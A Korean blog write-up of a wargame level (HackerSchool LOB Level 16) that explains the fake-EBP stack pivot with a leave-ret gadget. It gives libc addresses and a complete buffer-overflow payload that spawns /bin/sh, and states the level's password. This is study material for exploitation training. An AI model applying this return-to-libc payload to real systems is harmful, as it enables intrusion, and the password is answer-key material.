HackerSchool LOB Level 16
Hacking/LOB(RedHat)

HackerSchool LOB Level 16


※소스분석

buffer 40

스택영역과 라이브러리 영역에 쉘코드를 올릴수없음

argv[1] 은 48까지 입력할수있음

이 문제는 Fake ebp를 활용해 풀어야한다

Fake EBP란?

leave ret의 명령어 구성

leave

mov esp, ebp
pop ebp

ret

pop eip
jmp eip

간단하게말해서  sfp에 buf+4 부분을 덮고 ret에 ret을 덮는것이다  

Ret 영역에 leave ret 가젯을 넣어주면  

leave  mov esp ebp     //  mov esp ebp가 수행되면서 ebp가 esp로 들어감  ->  esp가 ebp로 바뀜  ->  

        pop  ebp         //   pop eip가 수행되면서  스택주소가 +4됨

ret     pop eip           //   조작해둔 leave가젯이 eip로 들어간다

       jmp eip            //     leave 가젯으로 점프

leave  mov esp ebp     //     ebp에 있는 +4 값이 esp로 들어감

       pop ebp               

ret     pop eip              

       jmp  eip        //    조작해둔 +4값으로 점프함 


페이로드를 작성해보자

AAAA +   System +  exit + /bin/sh + nop*24+ buffer +  leave ret     // 버퍼는 40


system 과 exit의 주소를 구해준다

system : 0x40058ae0

exit     : 0x400391e0

/bin/sh 주소는 전해 구해놓은걸 쓰겠다.  0x400fbff9


leave :  0x80484df




buffer의 시작주소는 0xbffffa90 이다 




페이로드는 
./zombie_assassin `python -c 'print "AAAA"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\x90"*24+"\x90\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
이다.
비밀번호는 no place to hide 이다.





'Hacking > LOB(RedHat)' 카테고리의 다른 글

HackerSchool LOB Level 18  (0) 2015.09.30
HackerSchool LOB Level 17  (0) 2015.09.26
HackerSchool LOB Level 15  (0) 2015.08.27
HackerSchool LOB Level 14  (0) 2015.08.10
HackerSchool LOB Level 13  (0) 2015.08.05